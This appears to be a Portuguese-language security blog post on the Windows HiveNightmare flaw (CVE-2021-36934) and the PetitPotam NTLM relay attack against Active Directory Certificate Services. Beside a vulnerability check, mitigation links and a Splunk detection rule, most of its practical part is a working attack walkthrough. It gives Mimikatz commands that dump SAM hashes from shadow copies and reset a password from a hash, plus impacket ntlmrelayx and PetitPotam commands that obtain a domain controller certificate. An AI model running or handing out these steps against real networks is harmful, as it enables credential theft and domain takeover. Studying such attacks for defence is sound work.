Vulnerabilidade de Escalação de Privilégios Zero-day CVE-2021-36934

Divulgada no dia 20 deste mês, esta é uma vulnerabilidade que um hacker pode utilizar para alcançar níveis mais elevados de privilégios de uma determinada máquina e por conseguinte se movimentar até alcançar o Active Directory, possibilitando explorar outros níveis de acesso dentro da infraestrutura. 

Não há atualização disponível, contudo, a Microsoft lançou uma pequena recomendação para mitigação: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934. 

Figura 1 - Sistema operacional afetado com atualização mais recente

O Windows 11 ainda nem foi lançado, mas a vulnerabilidade SeriousSAM / HiveNightmare da Microsoft relatada recentemente (CVE-2021-36934) afeta a ele e aos atuais sistemas operacionais Windows 10 onipresentes. 

Outro link para fonte de pesquisa e exemplo de mitigação: 

https://www.bleepingcomputer.com/news/microsoft/new-windows-10-vulnerability-allows-anyone-to-get-admin-privileges/

TESTE BÁSICO  

Figura 2 - Digite o comando: icacls c:\windows\system32\config\sam

Se o retorno do comando apresentar a tela desta figura 2, o seu ambiente está vulnerável.  Sobre a legenda acima, os atributos do resultado do comandos significam que: 

(I) - permissão herdada do contêiner pai

RX - racesso para ler e executar

TESTE AVANÇADO

1 - icacls c:\windows\system32\config\sam

2 - Por exemplo, os agentes de ameaças podem usar o seguinte caminho de namespace de dispositivo Win32 para cópias de volume de sombra abaixo para acessar o arquivo SAM por qualquer usuário no computador.

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

3 - Usando essas permissões de arquivo baixas e incorretas, junto com cópias de volume de sombra dos arquivos, o pesquisador de segurança e criador do Mimikatz  Benjamin Delpy  disse ao BleepingComputer que você poderia facilmente roubar a senha com hash NTLM de uma conta elevada para obter privilégios mais altos.

Esse ataque é demonstrado no vídeo abaixo criado por Delpy e compartilhado com BleepingComputer que mostra Mimikatz usando um hash NTLM para obter privilégios de depuração.

no Mimikatz 2.2.0x64

COMANDO 1:

lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

COMANDO 2:

lsadump::changentlm /user:"Gentil kiwi" /oldntlm:cc36cf7a8514893efccd332446158b1a[tiquete correspondente] /newpassword:password[senha qualquer]

Abra a nova aba ou sessão do mimikatz e digite: privilege::debug

a saída tem que ser algo desete tipo: "Privilege '20' ok".

Figura 3 - Prova de conceito usando o Mimikatz

Os passos abaixo merecem os créditos ao professor Ricardo Tavares. 

1 - Usar este impacket

link: https://github.com/ExAndroidDev/impacket

git clone https://github.com/ExAndroidDev/impacket

cd impacket

git checkout ntlmrelayx-adcs-attack

python3 -m pip install .

estas mudancas ainda não estavam na build nova

2 - Comando do relay (onde neotrantor é o servidor de certificados)

sudo ntlmrelayx.py -debug  -t http://neotrantor.foundation.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

3 - Comando do petitpotam 

Linux

./Petitpotam.py -u '' -p '' -d '' 172.16.207.13 trantor.foundation.local (onde o .13 é o linux seu e o trantor o AD)

ou  no mimikatz

misc::efs /server:172.16.207.11 /connect:172.16.207.13 /noauth (onde 11 é o AD e 13 é o seu linux)

Ferramentas utilizadas: impacket: git clone https://github.com/ExAndroidDev/impacket cd impacket git checkout ntlmrelayx-adcs-attack python3 -m pip install . Exploit PetitPotam: https://github.com/topotam/PetitPotam Mimikatz: https://github.com/gentilkiwi/mimikat... Mitigação: https://support.microsoft.com/en-us/t... Regra de deteção no formato SPLUNK: index=windows EventCode=4768 Certificate_Issuer_Name=*

Fonte: 

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934

https://www.bleepingcomputer.com/news/microsoft/new-windows-10-vulnerability-allows-anyone-to-get-admin-privileges/

https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429

https://conversantgroup.com/serioussam-and-petitpotam-vulnerabilities-affects-windows-operating-systems/